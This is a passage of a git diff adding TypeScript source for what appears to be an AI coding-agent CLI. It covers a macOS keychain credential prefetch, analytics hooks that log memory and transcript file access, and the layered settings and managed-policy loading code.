+  if (process.platform !== 'darwin' || prefetchPromise || isBareMode()) return
+
+  // Fire both subprocesses immediately (non-blocking). They run in parallel
+  // with each other AND with main.tsx imports. The await in Promise.all
+  // happens later via ensureKeychainPrefetchCompleted().
+  const oauthSpawn = spawnSecurity(
+    getMacOsKeychainStorageServiceName(CREDENTIALS_SERVICE_SUFFIX),
+  )
+  const legacySpawn = spawnSecurity(getMacOsKeychainStorageServiceName())
+
+  prefetchPromise = Promise.all([oauthSpawn, legacySpawn]).then(
+    ([oauth, legacy]) => {
+      // Timed-out prefetch: don't prime. Sync read/spawn will retry with its
+      // own (longer) timeout. Priming null here would shadow a key that the
+      // sync path might successfully fetch.
+      if (!oauth.timedOut) primeKeychainCacheFromPrefetch(oauth.stdout)
+      if (!legacy.timedOut) legacyApiKeyPrefetch = { stdout: legacy.stdout }
+    },
+  )
+}
+
+/**
+ * Await prefetch completion. Called in main.tsx preAction alongside
+ * ensureMdmSettingsLoaded() — nearly free since subprocesses finish during
+ * the ~65ms of main.tsx imports. Resolves immediately on non-darwin.
+ */
+export async function ensureKeychainPrefetchCompleted(): Promise<void> {
+  if (prefetchPromise) await prefetchPromise
+}
+
+/**
+ * Consumed by getApiKeyFromConfigOrMacOSKeychain() in auth.ts before it
+ * falls through to sync execSync. Returns null if prefetch hasn't completed.
+ */
+export function getLegacyApiKeyPrefetchResult(): {
+  stdout: string | null
+} | null {
+  return legacyApiKeyPrefetch
+}
+
+/**
+ * Clear prefetch result. Called alongside getApiKeyFromConfigOrMacOSKeychain
+ * cache invalidation so a stale prefetch doesn't shadow a fresh write.
+ */
+export function clearLegacyApiKeyPrefetch(): void {
+  legacyApiKeyPrefetch = null
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/sessionFileAccessHooks.ts b/_all-in-one-upload/cc-haha/src/utils/sessionFileAccessHooks.ts
new file mode 100644
index 0000000..08d4ed5
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/sessionFileAccessHooks.ts
@@ -0,0 +1,250 @@
+/**
+ * Session file access analytics hooks.
+ * Tracks access to session memory and transcript files via Read, Grep, Glob tools.
+ * Also tracks memdir file access via Read, Grep, Glob, Edit, and Write tools.
+ */
+import { feature } from 'bun:bundle'
+import { registerHookCallbacks } from '../bootstrap/state.js'
+import type { HookInput, HookJSONOutput } from '../entrypoints/agentSdkTypes.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../services/analytics/index.js'
+import { FILE_EDIT_TOOL_NAME } from '../tools/FileEditTool/constants.js'
+import { inputSchema as editInputSchema } from '../tools/FileEditTool/types.js'
+import { FileReadTool } from '../tools/FileReadTool/FileReadTool.js'
+import { FILE_READ_TOOL_NAME } from '../tools/FileReadTool/prompt.js'
+import { FileWriteTool } from '../tools/FileWriteTool/FileWriteTool.js'
+import { FILE_WRITE_TOOL_NAME } from '../tools/FileWriteTool/prompt.js'
+import { GlobTool } from '../tools/GlobTool/GlobTool.js'
+import { GLOB_TOOL_NAME } from '../tools/GlobTool/prompt.js'
+import { GrepTool } from '../tools/GrepTool/GrepTool.js'
+import { GREP_TOOL_NAME } from '../tools/GrepTool/prompt.js'
+import type { HookCallback } from '../types/hooks.js'
+import {
+  detectSessionFileType,
+  detectSessionPatternType,
+  isAutoMemFile,
+  memoryScopeForPath,
+} from './memoryFileDetection.js'
+
+/* eslint-disable @typescript-eslint/no-require-imports */
+const teamMemPaths = feature('TEAMMEM')
+  ? (require('../memdir/teamMemPaths.js') as typeof import('../memdir/teamMemPaths.js'))
+  : null
+const teamMemWatcher = feature('TEAMMEM')
+  ? (require('../services/teamMemorySync/watcher.js') as typeof import('../services/teamMemorySync/watcher.js'))
+  : null
+const memoryShapeTelemetry = feature('MEMORY_SHAPE_TELEMETRY')
+  ? (require('../memdir/memoryShapeTelemetry.js') as typeof import('../memdir/memoryShapeTelemetry.js'))
+  : null
+
+/* eslint-enable @typescript-eslint/no-require-imports */
+import { getSubagentLogName } from './agentContext.js'
+
+/**
+ * Extract the file path from a tool input for memdir detection.
+ * Covers Read (file_path), Edit (file_path), and Write (file_path).
+ */
+function getFilePathFromInput(
+  toolName: string,
+  toolInput: unknown,
+): string | null {
+  switch (toolName) {
+    case FILE_READ_TOOL_NAME: {
+      const parsed = FileReadTool.inputSchema.safeParse(toolInput)
+      return parsed.success ? parsed.data.file_path : null
+    }
+    case FILE_EDIT_TOOL_NAME: {
+      const parsed = editInputSchema().safeParse(toolInput)
+      return parsed.success ? parsed.data.file_path : null
+    }
+    case FILE_WRITE_TOOL_NAME: {
+      const parsed = FileWriteTool.inputSchema.safeParse(toolInput)
+      return parsed.success ? parsed.data.file_path : null
+    }
+    default:
+      return null
+  }
+}
+
+/**
+ * Extract file type from tool input.
+ * Returns the detected session file type or null.
+ */
+function getSessionFileTypeFromInput(
+  toolName: string,
+  toolInput: unknown,
+): 'session_memory' | 'session_transcript' | null {
+  switch (toolName) {
+    case FILE_READ_TOOL_NAME: {
+      const parsed = FileReadTool.inputSchema.safeParse(toolInput)
+      if (!parsed.success) return null
+      return detectSessionFileType(parsed.data.file_path)
+    }
+    case GREP_TOOL_NAME: {
+      const parsed = GrepTool.inputSchema.safeParse(toolInput)
+      if (!parsed.success) return null
+      // Check path if provided
+      if (parsed.data.path) {
+        const pathType = detectSessionFileType(parsed.data.path)
+        if (pathType) return pathType
+      }
+      // Check glob pattern
+      if (parsed.data.glob) {
+        const globType = detectSessionPatternType(parsed.data.glob)
+        if (globType) return globType
+      }
+      return null
+    }
+    case GLOB_TOOL_NAME: {
+      const parsed = GlobTool.inputSchema.safeParse(toolInput)
+      if (!parsed.success) return null
+      // Check path if provided
+      if (parsed.data.path) {
+        const pathType = detectSessionFileType(parsed.data.path)
+        if (pathType) return pathType
+      }
+      // Check pattern
+      const patternType = detectSessionPatternType(parsed.data.pattern)
+      if (patternType) return patternType
+      return null
+    }
+    default:
+      return null
+  }
+}
+
+/**
+ * Check if a tool use constitutes a memory file access.
+ * Detects session memory (via Read/Grep/Glob) and memdir access (via Read/Edit/Write).
+ * Uses the same conditions as the PostToolUse session file access hooks.
+ */
+export function isMemoryFileAccess(
+  toolName: string,
+  toolInput: unknown,
+): boolean {
+  if (getSessionFileTypeFromInput(toolName, toolInput) === 'session_memory') {
+    return true
+  }
+
+  const filePath = getFilePathFromInput(toolName, toolInput)
+  if (
+    filePath &&
+    (isAutoMemFile(filePath) ||
+      (feature('TEAMMEM') && teamMemPaths!.isTeamMemFile(filePath)))
+  ) {
+    return true
+  }
+
+  return false
+}
+
+/**
+ * PostToolUse callback to log session file access events.
+ */
+async function handleSessionFileAccess(
+  input: HookInput,
+  _toolUseID: string | null,
+  _signal: AbortSignal | undefined,
+): Promise<HookJSONOutput> {
+  if (input.hook_event_name !== 'PostToolUse') return {}
+
+  const fileType = getSessionFileTypeFromInput(
+    input.tool_name,
+    input.tool_input,
+  )
+
+  const subagentName = getSubagentLogName()
+  const subagentProps = subagentName ? { subagent_name: subagentName } : {}
+
+  if (fileType === 'session_memory') {
+    logEvent('tengu_session_memory_accessed', { ...subagentProps })
+  } else if (fileType === 'session_transcript') {
+    logEvent('tengu_transcript_accessed', { ...subagentProps })
+  }
+
+  // Memdir access tracking
+  const filePath = getFilePathFromInput(input.tool_name, input.tool_input)
+  if (filePath && isAutoMemFile(filePath)) {
+    logEvent('tengu_memdir_accessed', {
+      tool: input.tool_name as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      ...subagentProps,
+    })
+
+    switch (input.tool_name) {
+      case FILE_READ_TOOL_NAME:
+        logEvent('tengu_memdir_file_read', { ...subagentProps })
+        break
+      case FILE_EDIT_TOOL_NAME:
+        logEvent('tengu_memdir_file_edit', { ...subagentProps })
+        break
+      case FILE_WRITE_TOOL_NAME:
+        logEvent('tengu_memdir_file_write', { ...subagentProps })
+        break
+    }
+  }
+
+  // Team memory access tracking
+  if (feature('TEAMMEM') && filePath && teamMemPaths!.isTeamMemFile(filePath)) {
+    logEvent('tengu_team_mem_accessed', {
+      tool: input.tool_name as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      ...subagentProps,
+    })
+
+    switch (input.tool_name) {
+      case FILE_READ_TOOL_NAME:
+        logEvent('tengu_team_mem_file_read', { ...subagentProps })
+        break
+      case FILE_EDIT_TOOL_NAME:
+        logEvent('tengu_team_mem_file_edit', { ...subagentProps })
+        teamMemWatcher?.notifyTeamMemoryWrite()
+        break
+      case FILE_WRITE_TOOL_NAME:
+        logEvent('tengu_team_mem_file_write', { ...subagentProps })
+        teamMemWatcher?.notifyTeamMemoryWrite()
+        break
+    }
+  }
+
+  if (feature('MEMORY_SHAPE_TELEMETRY') && filePath) {
+    const scope = memoryScopeForPath(filePath)
+    if (
+      scope !== null &&
+      (input.tool_name === FILE_EDIT_TOOL_NAME ||
+        input.tool_name === FILE_WRITE_TOOL_NAME)
+    ) {
+      memoryShapeTelemetry!.logMemoryWriteShape(
+        input.tool_name,
+        input.tool_input,
+        filePath,
+        scope,
+      )
+    }
+  }
+
+  return {}
+}
+
+/**
+ * Register session file access tracking hooks.
+ * Called during CLI initialization.
+ */
+export function registerSessionFileAccessHooks(): void {
+  const hook: HookCallback = {
+    type: 'callback',
+    callback: handleSessionFileAccess,
+    timeout: 1, // Very short timeout - just logging
+    internal: true,
+  }
+
+  registerHookCallbacks({
+    PostToolUse: [
+      { matcher: FILE_READ_TOOL_NAME, hooks: [hook] },
+      { matcher: GREP_TOOL_NAME, hooks: [hook] },
+      { matcher: GLOB_TOOL_NAME, hooks: [hook] },
+      { matcher: FILE_EDIT_TOOL_NAME, hooks: [hook] },
+      { matcher: FILE_WRITE_TOOL_NAME, hooks: [hook] },
+    ],
+  })
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/settings/settings.ts b/_all-in-one-upload/cc-haha/src/utils/settings/settings.ts
new file mode 100644
index 0000000..3bea04a
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/settings/settings.ts
@@ -0,0 +1,1015 @@
+import { feature } from 'bun:bundle'
+import mergeWith from 'lodash-es/mergeWith.js'
+import { dirname, join, resolve } from 'path'
+import { z } from 'zod/v4'
+import {
+  getFlagSettingsInline,
+  getFlagSettingsPath,
+  getOriginalCwd,
+  getUseCoworkPlugins,
+} from '../../bootstrap/state.js'
+import { getRemoteManagedSettingsSyncFromCache } from '../../services/remoteManagedSettings/syncCacheState.js'
+import { uniq } from '../array.js'
+import { logForDebugging } from '../debug.js'
+import { logForDiagnosticsNoPII } from '../diagLogs.js'
+import { getClaudeConfigHomeDir, isEnvTruthy } from '../envUtils.js'
+import { getErrnoCode, isENOENT } from '../errors.js'
+import { writeFileSyncAndFlush_DEPRECATED } from '../file.js'
+import { readFileSync } from '../fileRead.js'
+import { getFsImplementation, safeResolvePath } from '../fsOperations.js'
+import { addFileGlobRuleToGitignore } from '../git/gitignore.js'
+import { safeParseJSON } from '../json.js'
+import { logError } from '../log.js'
+import { getPlatform } from '../platform.js'
+import { clone, jsonStringify } from '../slowOperations.js'
+import { profileCheckpoint } from '../startupProfiler.js'
+import {
+  type EditableSettingSource,
+  getEnabledSettingSources,
+  type SettingSource,
+} from './constants.js'
+import { markInternalWrite } from './internalWrites.js'
+import {
+  getManagedFilePath,
+  getManagedSettingsDropInDir,
+} from './managedPath.js'
+import { getHkcuSettings, getMdmSettings } from './mdm/settings.js'
+import {
+  getCachedParsedFile,
+  getCachedSettingsForSource,
+  getPluginSettingsBase,
+  getSessionSettingsCache,
+  resetSettingsCache,
+  setCachedParsedFile,
+  setCachedSettingsForSource,
+  setSessionSettingsCache,
+} from './settingsCache.js'
+import { type SettingsJson, SettingsSchema } from './types.js'
+import {
+  filterInvalidPermissionRules,
+  formatZodError,
+  type SettingsWithErrors,
+  type ValidationError,
+} from './validation.js'
+
+/**
+ * Get the path to the managed settings file based on the current platform
+ */
+function getManagedSettingsFilePath(): string {
+  return join(getManagedFilePath(), 'managed-settings.json')
+}
+
+/**
+ * Load file-based managed settings: managed-settings.json + managed-settings.d/*.json.
+ *
+ * managed-settings.json is merged first (lowest precedence / base), then drop-in
+ * files are sorted alphabetically and merged on top (higher precedence, later
+ * files win). This matches the systemd/sudoers drop-in convention: the base
+ * file provides defaults, drop-ins customize. Separate teams can ship
+ * independent policy fragments (e.g. 10-otel.json, 20-security.json) without
+ * coordinating edits to a single admin-owned file.
+ *
+ * Exported for testing.
+ */
+export function loadManagedFileSettings(): {
+  settings: SettingsJson | null
+  errors: ValidationError[]
+} {
+  const errors: ValidationError[] = []
+  let merged: SettingsJson = {}
+  let found = false
+
+  const { settings, errors: baseErrors } = parseSettingsFile(
+    getManagedSettingsFilePath(),
+  )
+  errors.push(...baseErrors)
+  if (settings && Object.keys(settings).length > 0) {
+    merged = mergeWith(merged, settings, settingsMergeCustomizer)
+    found = true
+  }
+
+  const dropInDir = getManagedSettingsDropInDir()
+  try {
+    const entries = getFsImplementation()
+      .readdirSync(dropInDir)
+      .filter(
+        d =>
+          (d.isFile() || d.isSymbolicLink()) &&
+          d.name.endsWith('.json') &&
+          !d.name.startsWith('.'),
+      )
+      .map(d => d.name)
+      .sort()
+    for (const name of entries) {
+      const { settings, errors: fileErrors } = parseSettingsFile(
+        join(dropInDir, name),
+      )
+      errors.push(...fileErrors)
+      if (settings && Object.keys(settings).length > 0) {
+        merged = mergeWith(merged, settings, settingsMergeCustomizer)
+        found = true
+      }
+    }
+  } catch (e) {
+    const code = getErrnoCode(e)
+    if (code !== 'ENOENT' && code !== 'ENOTDIR') {
+      logError(e)
+    }
+  }
+
+  return { settings: found ? merged : null, errors }
+}
+
+/**
+ * Check which file-based managed settings sources are present.
+ * Used by /status to show "(file)", "(drop-ins)", or "(file + drop-ins)".
+ */
+export function getManagedFileSettingsPresence(): {
+  hasBase: boolean
+  hasDropIns: boolean
+} {
+  const { settings: base } = parseSettingsFile(getManagedSettingsFilePath())
+  const hasBase = !!base && Object.keys(base).length > 0
+
+  let hasDropIns = false
+  const dropInDir = getManagedSettingsDropInDir()
+  try {
+    hasDropIns = getFsImplementation()
+      .readdirSync(dropInDir)
+      .some(
+        d =>
+          (d.isFile() || d.isSymbolicLink()) &&
+          d.name.endsWith('.json') &&
+          !d.name.startsWith('.'),
+      )
+  } catch {
+    // dir doesn't exist
+  }
+
+  return { hasBase, hasDropIns }
+}
+
+/**
+ * Handles file system errors appropriately
+ * @param error The error to handle
+ * @param path The file path that caused the error
+ */
+function handleFileSystemError(error: unknown, path: string): void {
+  if (
+    typeof error === 'object' &&
+    error &&
+    'code' in error &&
+    error.code === 'ENOENT'
+  ) {
+    logForDebugging(
+      `Broken symlink or missing file encountered for settings.json at path: ${path}`,
+    )
+  } else {
+    logError(error)
+  }
+}
+
+/**
+ * Parses a settings file into a structured format
+ * @param path The path to the permissions file
+ * @param source The source of the settings (optional, for error reporting)
+ * @returns Parsed settings data and validation errors
+ */
+export function parseSettingsFile(path: string): {
+  settings: SettingsJson | null
+  errors: ValidationError[]
+} {
+  const cached = getCachedParsedFile(path)
+  if (cached) {
+    // Clone so callers (e.g. mergeWith in getSettingsForSourceUncached,
+    // updateSettingsForSource) can't mutate the cached entry.
+    return {
+      settings: cached.settings ? clone(cached.settings) : null,
+      errors: cached.errors,
+    }
+  }
+  const result = parseSettingsFileUncached(path)
+  setCachedParsedFile(path, result)
+  // Clone the first return too — the caller may mutate before
+  // another caller reads the same cache entry.
+  return {
+    settings: result.settings ? clone(result.settings) : null,
+    errors: result.errors,
+  }
+}
+
+function parseSettingsFileUncached(path: string): {
+  settings: SettingsJson | null
+  errors: ValidationError[]
+} {
+  try {
+    const { resolvedPath } = safeResolvePath(getFsImplementation(), path)
+    const content = readFileSync(resolvedPath)
+
+    if (content.trim() === '') {
+      return { settings: {}, errors: [] }
+    }
+
+    const data = safeParseJSON(content, false)
+
+    // Filter invalid permission rules before schema validation so one bad
+    // rule doesn't cause the entire settings file to be rejected.
+    const ruleWarnings = filterInvalidPermissionRules(data, path)
+
+    const result = SettingsSchema().safeParse(data)
+
+    if (!result.success) {
+      const errors = formatZodError(result.error, path)
+      return { settings: null, errors: [...ruleWarnings, ...errors] }
+    }
+
+    return { settings: result.data, errors: ruleWarnings }
+  } catch (error) {
+    handleFileSystemError(error, path)
+    return { settings: null, errors: [] }
+  }
+}
+
+/**
+ * Get the absolute path to the associated file root for a given settings source
+ * (e.g. for $PROJ_DIR/.claude/settings.json, returns $PROJ_DIR)
+ * @param source The source of the settings
+ * @returns The root path of the settings file
+ */
+export function getSettingsRootPathForSource(source: SettingSource): string {
+  switch (source) {
+    case 'userSettings':
+      return resolve(getClaudeConfigHomeDir())
+    case 'policySettings':
+    case 'projectSettings':
+    case 'localSettings': {
+      return resolve(getOriginalCwd())
+    }
+    case 'flagSettings': {
+      const path = getFlagSettingsPath()
+      return path ? dirname(resolve(path)) : resolve(getOriginalCwd())
+    }
+  }
+}
+
+/**
+ * Get the user settings filename based on cowork mode.
+ * Returns 'cowork_settings.json' when in cowork mode, 'settings.json' otherwise.
+ *
+ * Priority:
+ * 1. Session state (set by CLI flag --cowork)
+ * 2. Environment variable CLAUDE_CODE_USE_COWORK_PLUGINS
+ * 3. Default: 'settings.json'
+ */
+function getUserSettingsFilePath(): string {
+  if (
+    getUseCoworkPlugins() ||
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_COWORK_PLUGINS)
+  ) {
+    return 'cowork_settings.json'
+  }
+  return 'settings.json'
+}
+
+export function getSettingsFilePathForSource(
+  source: SettingSource,
+): string | undefined {
+  switch (source) {
+    case 'userSettings':
+      return join(
+        getSettingsRootPathForSource(source),
+        getUserSettingsFilePath(),
+      )
+    case 'projectSettings':
+    case 'localSettings': {
+      return join(
+        getSettingsRootPathForSource(source),
+        getRelativeSettingsFilePathForSource(source),
+      )
+    }
+    case 'policySettings':
+      return getManagedSettingsFilePath()
+    case 'flagSettings': {
+      return getFlagSettingsPath()
+    }
+  }
+}
+
+export function getRelativeSettingsFilePathForSource(
+  source: 'projectSettings' | 'localSettings',
+): string {
+  switch (source) {
+    case 'projectSettings':
+      return join('.claude', 'settings.json')
+    case 'localSettings':
+      return join('.claude', 'settings.local.json')
+  }
+}
+
+export function getSettingsForSource(
+  source: SettingSource,
+): SettingsJson | null {
+  const cached = getCachedSettingsForSource(source)
+  if (cached !== undefined) return cached
+  const result = getSettingsForSourceUncached(source)
+  setCachedSettingsForSource(source, result)
+  return result
+}
+
+function getSettingsForSourceUncached(
+  source: SettingSource,
+): SettingsJson | null {
+  // For policySettings: first source wins (remote > HKLM/plist > file > HKCU)
+  if (source === 'policySettings') {
+    const remoteSettings = getRemoteManagedSettingsSyncFromCache()
+    if (remoteSettings && Object.keys(remoteSettings).length > 0) {
+      return remoteSettings
+    }
+
+    const mdmResult = getMdmSettings()
+    if (Object.keys(mdmResult.settings).length > 0) {
+      return mdmResult.settings
+    }
+
+    const { settings: fileSettings } = loadManagedFileSettings()
+    if (fileSettings) {
+      return fileSettings
+    }
+
+    const hkcu = getHkcuSettings()
+    if (Object.keys(hkcu.settings).length > 0) {
+      return hkcu.settings
+    }
+
+    return null
+  }
+
+  const settingsFilePath = getSettingsFilePathForSource(source)
+  const { settings: fileSettings } = settingsFilePath
+    ? parseSettingsFile(settingsFilePath)
+    : { settings: null }
+
+  // For flagSettings, merge in any inline settings set via the SDK
+  if (source === 'flagSettings') {
+    const inlineSettings = getFlagSettingsInline()
+    if (inlineSettings) {
+      const parsed = SettingsSchema().safeParse(inlineSettings)
+      if (parsed.success) {
+        return mergeWith(
+          fileSettings || {},
+          parsed.data,
+          settingsMergeCustomizer,
+        ) as SettingsJson
+      }
+    }
+  }
+
+  return fileSettings
+}
+
+/**
+ * Get the origin of the highest-priority active policy settings source.
+ * Uses "first source wins" — returns the first source that has content.
+ * Priority: remote > plist/hklm > file (managed-settings.json) > hkcu
+ */
+export function getPolicySettingsOrigin():
+  | 'remote'
+  | 'plist'
+  | 'hklm'
+  | 'file'
+  | 'hkcu'
+  | null {
+  // 1. Remote (highest)
+  const remoteSettings = getRemoteManagedSettingsSyncFromCache()
+  if (remoteSettings && Object.keys(remoteSettings).length > 0) {
+    return 'remote'
+  }
+
+  // 2. Admin-only MDM (HKLM / macOS plist)
+  const mdmResult = getMdmSettings()
+  if (Object.keys(mdmResult.settings).length > 0) {
+    return getPlatform() === 'macos' ? 'plist' : 'hklm'
+  }
+
+  // 3. managed-settings.json + managed-settings.d/ (file-based, requires admin)
+  const { settings: fileSettings } = loadManagedFileSettings()
+  if (fileSettings) {
+    return 'file'
+  }
+
+  // 4. HKCU (lowest — user-writable)
+  const hkcu = getHkcuSettings()
+  if (Object.keys(hkcu.settings).length > 0) {
+    return 'hkcu'
+  }
+
+  return null
+}
+
+/**
+ * Merges `settings` into the existing settings for `source` using lodash mergeWith.
+ *
+ * To delete a key from a record field (e.g. enabledPlugins, extraKnownMarketplaces),
+ * set it to `undefined` — do NOT use `delete`. mergeWith only detects deletion when
+ * the key is present with an explicit `undefined` value.
+ */
+export function updateSettingsForSource(
+  source: EditableSettingSource,
+  settings: SettingsJson,
+): { error: Error | null } {
+  if (
+    (source as unknown) === 'policySettings' ||
+    (source as unknown) === 'flagSettings'
+  ) {
+    return { error: null }
+  }
+
+  // Create the folder if needed
+  const filePath = getSettingsFilePathForSource(source)
+  if (!filePath) {
+    return { error: null }
+  }
+
+  try {
+    getFsImplementation().mkdirSync(dirname(filePath))
+
+    // Try to get existing settings with validation. Bypass the per-source
+    // cache — mergeWith below mutates its target (including nested refs),
+    // and mutating the cached object would leak unpersisted state if the
+    // write fails before resetSettingsCache().
+    let existingSettings = getSettingsForSourceUncached(source)
+
+    // If validation failed, check if file exists with a JSON syntax error
+    if (!existingSettings) {
+      let content: string | null = null
+      try {
+        content = readFileSync(filePath)
+      } catch (e) {
+        if (!isENOENT(e)) {
+          throw e
+        }
+        // File doesn't exist — fall through to merge with empty settings
+      }
+      if (content !== null) {
+        const rawData = safeParseJSON(content)
+        if (rawData === null) {
+          // JSON syntax error - return validation error instead of overwriting
+          // safeParseJSON will already log the error, so we'll just return the error here
+          return {
+            error: new Error(
+              `Invalid JSON syntax in settings file at ${filePath}`,
+            ),
+          }
+        }
+        if (rawData && typeof rawData === 'object') {
+          existingSettings = rawData as SettingsJson
+          logForDebugging(
+            `Using raw settings from ${filePath} due to validation failure`,
+          )
+        }
+      }
+    }
+
+    const updatedSettings = mergeWith(
+      existingSettings || {},
+      settings,
+      (
+        _objValue: unknown,
+        srcValue: unknown,
+        key: string | number | symbol,
+        object: Record<string | number | symbol, unknown>,
+      ) => {
+        // Handle undefined as deletion
+        if (srcValue === undefined && object && typeof key === 'string') {
+          delete object[key]
+          return undefined
+        }
+        // For arrays, always replace with the provided array
+        // This puts the responsibility on the caller to compute the desired final state
+        if (Array.isArray(srcValue)) {
+          return srcValue
+        }
+        // For non-arrays, let lodash handle the default merge behavior
+        return undefined
+      },
+    )
+
+    // Mark this as an internal write before writing the file
+    markInternalWrite(filePath)
+
+    writeFileSyncAndFlush_DEPRECATED(
+      filePath,
+      jsonStringify(updatedSettings, null, 2) + '\n',
+    )
+
+    // Invalidate the session cache since settings have been updated
+    resetSettingsCache()
+
+    if (source === 'localSettings') {
+      // Okay to add to gitignore async without awaiting
+      void addFileGlobRuleToGitignore(
+        getRelativeSettingsFilePathForSource('localSettings'),
+        getOriginalCwd(),
+      )
+    }
+  } catch (e) {
+    const error = new Error(
+      `Failed to read raw settings from ${filePath}: ${e}`,
+    )
+    logError(error)
+    return { error }
+  }
+
+  return { error: null }
+}
+
+/**
+ * Custom merge function for arrays - concatenate and deduplicate
+ */
+function mergeArrays<T>(targetArray: T[], sourceArray: T[]): T[] {
+  return uniq([...targetArray, ...sourceArray])
+}
+
+/**
+ * Custom merge function for lodash mergeWith when merging settings.
+ * Arrays are concatenated and deduplicated; other values use default lodash merge behavior.
+ * Exported for testing.
+ */
+export function settingsMergeCustomizer(
+  objValue: unknown,
+  srcValue: unknown,
+): unknown {
+  if (Array.isArray(objValue) && Array.isArray(srcValue)) {
+    return mergeArrays(objValue, srcValue)
+  }
+  // Return undefined to let lodash handle default merge behavior
+  return undefined
+}
+
+/**
+ * Get a list of setting keys from managed settings for logging purposes.
+ * For certain nested settings (permissions, sandbox, hooks), expands to show
+ * one level of nesting (e.g., "permissions.allow"). For other settings,
+ * returns only the top-level key.
+ *
+ * @param settings The settings object to extract keys from
+ * @returns Sorted array of key paths
+ */
+export function getManagedSettingsKeysForLogging(
+  settings: SettingsJson,
+): string[] {
+  // Use .strip() to get only valid schema keys
+  const validSettings = SettingsSchema().strip().parse(settings) as Record<
+    string,
+    unknown
+  >
+  const keysToExpand = ['permissions', 'sandbox', 'hooks']
+  const allKeys: string[] = []
+
+  // Define valid nested keys for each nested setting we expand
+  const validNestedKeys: Record<string, Set<string>> = {
+    permissions: new Set([
+      'allow',
+      'deny',
+      'ask',
+      'defaultMode',
+      'disableBypassPermissionsMode',
+      ...(feature('TRANSCRIPT_CLASSIFIER') ? ['disableAutoMode'] : []),
+      'additionalDirectories',
+    ]),
+    sandbox: new Set([
+      'enabled',
+      'failIfUnavailable',
+      'allowUnsandboxedCommands',
+      'network',
+      'filesystem',
+      'ignoreViolations',
+      'excludedCommands',
+      'autoAllowBashIfSandboxed',
+      'enableWeakerNestedSandbox',
+      'enableWeakerNetworkIsolation',
+      'ripgrep',
+    ]),
+    // For hooks, we use z.record with enum keys, so we validate separately
+    hooks: new Set([
+      'PreToolUse',
+      'PostToolUse',
+      'Notification',
+      'UserPromptSubmit',
+      'SessionStart',
+      'SessionEnd',
+      'Stop',
+      'SubagentStop',
+      'PreCompact',
+      'PostCompact',
+      'TeammateIdle',
+      'TaskCreated',
+      'TaskCompleted',
+    ]),
+  }
+
+  for (const key of Object.keys(validSettings)) {
+    if (
+      keysToExpand.includes(key) &&
+      validSettings[key] &&
+      typeof validSettings[key] === 'object'
+    ) {
+      // Expand nested keys for these special settings (one level deep only)
+      const nestedObj = validSettings[key] as Record<string, unknown>
+      const validKeys = validNestedKeys[key]
+
+      if (validKeys) {
+        for (const nestedKey of Object.keys(nestedObj)) {
+          // Only include known valid nested keys
+          if (validKeys.has(nestedKey)) {
+            allKeys.push(`${key}.${nestedKey}`)
+          }
+        }
+      }
+    } else {
+      // For other settings, just use the top-level key
+      allKeys.push(key)
+    }
+  }
+
+  return allKeys.sort()
+}
+
+// Flag to prevent infinite recursion when loading settings
+let isLoadingSettings = false
+
+/**
+ * Load settings from disk without using cache
+ * This is the original implementation that actually reads from files
+ */
+function loadSettingsFromDisk(): SettingsWithErrors {
+  // Prevent recursive calls to loadSettingsFromDisk
+  if (isLoadingSettings) {
+    return { settings: {}, errors: [] }
+  }
+
+  const startTime = Date.now()
+  profileCheckpoint('loadSettingsFromDisk_start')
+  logForDiagnosticsNoPII('info', 'settings_load_started')
+
+  isLoadingSettings = true
+  try {
+    // Start with plugin settings as the lowest priority base.
+    // All file-based sources (user, project, local, flag, policy) override these.
+    // Plugin settings only contain allowlisted keys (e.g., agent) that are valid SettingsJson fields.
+    const pluginSettings = getPluginSettingsBase()
+    let mergedSettings: SettingsJson = {}
+    if (pluginSettings) {
+      mergedSettings = mergeWith(
+        mergedSettings,
+        pluginSettings,
+        settingsMergeCustomizer,
+      )
+    }
+    const allErrors: ValidationError[] = []
+    const seenErrors = new Set<string>()
+    const seenFiles = new Set<string>()
+
+    // Merge settings from each source in priority order with deep merging
+    for (const source of getEnabledSettingSources()) {
+      // policySettings: "first source wins" — use the highest-priority source
+      // that has content. Priority: remote > HKLM/plist > managed-settings.json > HKCU
+      if (source === 'policySettings') {
+        let policySettings: SettingsJson | null = null
+        const policyErrors: ValidationError[] = []
+
+        // 1. Remote (highest priority)
+        const remoteSettings = getRemoteManagedSettingsSyncFromCache()
+        if (remoteSettings && Object.keys(remoteSettings).length > 0) {
+          const result = SettingsSchema().safeParse(remoteSettings)
+          if (result.success) {
+            policySettings = result.data
+          } else {
+            // Remote exists but is invalid — surface errors even as we fall through
+            policyErrors.push(
+              ...formatZodError(result.error, 'remote managed settings'),
+            )
+          }
+        }
+
+        // 2. Admin-only MDM (HKLM / macOS plist)
+        if (!policySettings) {
+          const mdmResult = getMdmSettings()
+          if (Object.keys(mdmResult.settings).length > 0) {
+            policySettings = mdmResult.settings
+          }
+          policyErrors.push(...mdmResult.errors)
+        }
+
+        // 3. managed-settings.json + managed-settings.d/ (file-based, requires admin)
+        if (!policySettings) {
+          const { settings, errors } = loadManagedFileSettings()
+          if (settings) {
+            policySettings = settings
+          }
+          policyErrors.push(...errors)
+        }
+
+        // 4. HKCU (lowest — user-writable, only if nothing above exists)
+        if (!policySettings) {
+          const hkcu = getHkcuSettings()
+          if (Object.keys(hkcu.settings).length > 0) {
+            policySettings = hkcu.settings
+          }
+          policyErrors.push(...hkcu.errors)
+        }
+
+        // Merge the winning policy source into the settings chain
+        if (policySettings) {
+          mergedSettings = mergeWith(
+            mergedSettings,
+            policySettings,
+            settingsMergeCustomizer,
+          )
+        }
+        for (const error of policyErrors) {
+          const errorKey = `${error.file}:${error.path}:${error.message}`
+          if (!seenErrors.has(errorKey)) {
+            seenErrors.add(errorKey)
+            allErrors.push(error)
+          }
+        }
+
+        continue
+      }
+
+      const filePath = getSettingsFilePathForSource(source)
+      if (filePath) {
+        const resolvedPath = resolve(filePath)
+
+        // Skip if we've already loaded this file from another source
+        if (!seenFiles.has(resolvedPath)) {
+          seenFiles.add(resolvedPath)
+
+          const { settings, errors } = parseSettingsFile(filePath)
+
